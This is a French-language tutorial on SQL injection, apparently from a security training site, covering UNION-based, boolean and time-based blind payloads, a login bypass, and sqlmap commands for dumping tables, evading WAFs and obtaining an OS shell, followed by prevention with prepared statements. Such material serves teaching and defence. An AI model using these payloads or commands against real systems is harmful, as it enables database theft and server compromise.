Les injections SQL restent la vulnérabilité web la plus critique selon l’OWASP. Elles permettent à un attaquant d’interagir directement avec la base de données d’une application, pouvant mener à l’extraction de données sensibles, à la modification de contenu, voire à la compromission complète du serveur.
Principe de l’injection SQL
Une injection SQL survient quand une entrée utilisateur est incorporée directement dans une requête SQL sans validation ni échappement.
// Code vulnérable
$id = $_GET["id"];
$query = "SELECT * FROM users WHERE id = " . $id;
// Avec id=1 OR 1=1 :
// SELECT * FROM users WHERE id = 1 OR 1=1
// → Renvoie TOUS les utilisateurs !
Types d’injections SQL
UNION-based : extraction de données
-- Trouver le nombre de colonnes
http://site.fr/page?id=1 ORDER BY 3--
-- Extraire des données avec UNION
http://site.fr/page?id=-1 UNION SELECT 1,username,password FROM users--
-- Obtenir la version MySQL
http://site.fr/page?id=-1 UNION SELECT 1,@@version,3--
Boolean-based blind : sans retour visible
-- Si "1=1" renvoie du contenu et "1=2" non → vulnérable
http://site.fr/page?id=1 AND 1=1-- ← page normale
http://site.fr/page?id=1 AND 1=2-- ← page vide ou erreur
-- Extraire lettre par lettre
http://site.fr/page?id=1 AND SUBSTRING(username,1,1)='a'--
Time-based blind : sans différence visible
-- Forcer un délai si la condition est vraie
http://site.fr/page?id=1 AND SLEEP(5)-- ← MySQL
http://site.fr/page?id=1; WAITFOR DELAY '0:0:5'-- ← MSSQL
SQLmap : automatisation
# Test basique d'une URL
sqlmap -u "http://site.fr/page?id=1" --dbs
# Extraire les tables d'une DB
sqlmap -u "http://site.fr/page?id=1" -D ma_base --tables
# Extraire des données d'une table
sqlmap -u "http://site.fr/page?id=1" -D ma_base -T users --dump
# Avec cookie d'authentification
sqlmap -u "http://site.fr/profile" --cookie="session=abc123" --dbs
# Bypass WAF avec tamper scripts
sqlmap -u "http://site.fr/page?id=1" --tamper=space2comment,randomcase
# Tenter un shell OS si droits suffisants
sqlmap -u "http://site.fr/page?id=1" --os-shell
Injection SQL dans un POST (formulaire de login)
# Tester un formulaire de login
sqlmap -u "http://site.fr/login" --data="username=admin&password=test" --dbs
# Bypass de login classique
Username: admin'--
Password: (anything)
# Requête générée : SELECT * FROM users WHERE user='admin'--' AND pass='test'
# Le -- commente la vérification du mot de passe
Prévention : requêtes préparées
// PHP PDO — SÉCURISÉ
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = ?");
$stmt->execute([$_GET["id"]]);
$user = $stmt->fetch();
// PHP PDO avec paramètres nommés
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = :user AND password = :pass");
$stmt->execute([":user" => $username, ":pass" => $hashedPassword]);
// ORM (Eloquent, Doctrine) : protection automatique
$user = User::where("email", $email)->first();
- L’injection SQL permet d’extraire, modifier ou supprimer des données en base
- SQLmap automatise la détection et l’exploitation avec des dizaines de techniques
- La protection absolue : requêtes préparées (PDO, ORM) — jamais de concaténation
- Valider ET échapper toutes les entrées utilisateur côté serveur
📚 Formation : Cybersécurité intermédiaire : pentest et défense avancée

-
Add a note